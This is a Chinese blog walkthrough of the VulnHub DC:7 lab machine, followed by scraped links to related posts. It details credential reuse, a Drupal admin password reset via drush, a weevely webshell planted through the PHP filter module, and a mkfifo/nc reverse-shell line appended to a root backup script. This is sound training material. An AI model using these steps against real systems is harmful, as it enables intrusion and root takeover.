vulnhub-DC:7靶机渗透记录
准备工作
在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub
导入到vmware,设置成NAT模式

打开kali准备进行渗透(ip:192.168.200.6)
信息收集
已经知道了靶机的ip192.168.200.19 利用nmap进行端口探测
nmap -sV -p- 192.168.200.19

开放了80端口和22端口,打开80端口


可以看到CMS是Drupal8,左上角还有个登陆页面
但在尝试dirsearch扫目录,爆密码,搜漏洞都没有利用的点。
后面发现下面有一个@DC7USER,去搜一下还真有发现,DC7的作者上传了源码到github


下载来看看,在config.php找到了数据库的账号密码dc7user——MdR3xOgB7#dW

尝试用这个密码登陆了一下页面,失败

那用这个密码登陆一下ssh,成功
ssh dc7user@192.168.200.19

Drush
有一封邮件


看内容是通过这个脚本/opt/scripts/backups.sh将数据库自动备份到/home/dc7user/backups/website.sql,这个脚本还是root权限
看看这个脚本的内容

在backups.sh文件中主要发现了两个命令drush,gpg。
Drush是Drupal的命令行shell和Unix脚本接口。Drush Core附带了许多有用的命令,可用于与模块/主题/配置文件等代码进行交互。gpg是加密的命令
查了一下drush命令可以修改密码,但是使用drush命令的时候要先切换到网站源码所在的目录,不然会报错
进入网站目录/var/www/html。用drush命令将admin的密码改成admin
drush user-password admin --password="admin"

登陆网站看看.
weevely
进入后台发现这里可以编辑页面,那就可以写一句话木马,但是查到drupal8不支持php代码,查找资料发现需要导入一个模块

模块地址https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 输入直接安装

选第二个选项,拉到下面将PHPFiter勾选,再拉到底部安装


然后回到刚刚编辑首页,可以看到有php的选项了,插入一句话代码

输入phpinfo();看看能不能执行


成功,接下来使用weevely生成木马进行连接
weevely generate test test.php
然后将代码复制到编辑的地方保存

再使用weevely连接
weevely http://192.168.200.19/ test

连接成功 获得www-data权限
利用backups.sh提权
www-data对之前看到的backups.sh有修改权限

可以在这个脚本添加反弹shell的命令进行提权
很多服务器都将-e功能删除了,只能这样。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 端口 >/tmp/f
rm /tmp/f 删除该文件(以免跟后面定义的 管道符 冲突) mkfifo /tmp/f 这是创建自定义有名管道符。管道符的名称是 /tmp/f (用于进程间的通讯, 如 ls > /tmp/f ,cat /tmp/f ,连通两个进程之间的通讯) cat /tmp/f 取出管道符中的内容,
|/bin/sh -i 2>&1 将前面取出的内容作为输入,输入给 /bin/sh,再将bash的标准错误输出 也作为标准输入 (2 >&1)给bash
然后再将bash的输出,传给nc 远程,再将nc 传来的数据,写入 管道符 /tmp/f 。最后首尾接通了。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.6 9999 >/tmp/f" >> /opt/scripts/backups.sh
然后打开kali终端 nc -lvf 9999 进行监听,可能要等挺长时间,因为这个脚本是隔一段时间执行一次
(这里我等了很久发现还没有反应,查看了一下sh文件根本没写进去,然后想cd出去发现还没有权限,还以为是我用weevely的方法有问题,网上其他人都是直接反弹shell的,后面发现是写入的路径有问题,应该使用绝对路径/opt/scripts/backups.sh。如果发现很久没反应一定要检查是不是哪里出问题了)

等了一段时间后反弹成功,拿到flag
参考文章
DC-7 靶机渗透测试 - Bitores - 博客园 (cnblogs.com)
DC:7靶机-Walkthrough_ins1ght的博客-CSDN博客
vulnhub-DC:7靶机渗透记录的更多相关文章
- vulnhub-DC:2靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:5靶机渗透记录
准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...
- vulnhub-DC:6靶机渗透记录
准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...
- vulnhub-DC:1靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:3靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...
- vulnhub-DC:4靶机渗透记录
准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...
- vulnhub-DC:8靶机渗透记录
准备工作 在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...
- vulnhub-XXE靶机渗透记录
准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
随机推荐
- MEMORY_TARGET不够时解决办法
一.报错原因:设置的memory_max_target超过了系统中设置的share memory(/dev/shm)而已. 二.解决办法:增加tmpfs的大小 三.调整tmpfs的大小(两种方法) 1 ...
- 轻松吃透实时时钟芯片DS1302软硬件设计,看完秒懂
今天我们来讨论一款老掉牙的实时时钟芯片DS1302.什么是实时时钟(RealTime Clock, RTC)呢?为什么我们需要它呢?假设你使用单片机实现万年历应用,一般的做法是这样的:设置中断后判断1 ...
- Docker笔记--操作容器命令
Docker笔记--操作容器命令 创建容器 docker [container] create-- 创建容器,使用docker [container] create命令新建的容器处于停止状态,可以使用 ...
- 『无为则无心』Python序列 — 17、Python字符串操作常用API
目录 1.字符串的查找 @1.find()方法 @2.index()方法 @3.rfind()和rindex()方法 @4.count()方法 2.字符串的修改 @1.replace()方法 @2.s ...
- 温故知新Docker概念及Docker Desktop For Windows v3.1.0安装
Docker 简介 什么是Docker? Docker是一个开放源代码软件项目,项目主要代码在2013年开源于GitHub.它是云服务技术上的一次创新,让应用程序布署在软件容器下的工作可以自动化进行, ...
- Linux指令手册 (二)
free free,显示系统中可用内存和已使用内存的数量. 语法:free [options] [target] 参数: -b: 以字节(bytes)显示内存量: -k: 以千字节(kilo)为单位显 ...
- 【Azure 应用服务】Azure Function App 执行PowerShell指令[Get-Azsubscription -TenantId $tenantID -DefaultProfile $cxt]错误
问题描述 使用PowerShell脚本执行获取Azure订阅列表的指令(Get-Azsubscription -TenantId $tenantID -DefaultProfile $cxt).在本地 ...
- Java:Java中equlas和==的区别
== 比较的是栈内存的地址值,用来判断两个对象的地址是否相同,即是否是指相同一个对象.比较的是真正意义上的指针操作. 基本数据类型如:byte,short,char,int,long,float,do ...
- 面试:Spring面试知识点总结
Spring知识点总结 1. 简介一下Spring框架. 答:Spring框架是一个开源的容器性质的轻量级框架.主要有三大特点:容器.IOC(控制反转).AOP(面向切面编程). 2. Spring框 ...
- mybatis 批量新增-批量修改-批量删除操作
mapper.xml <!-- 批量新增 --> <insert id="saveBatch" parameterType="java.util.Lis ...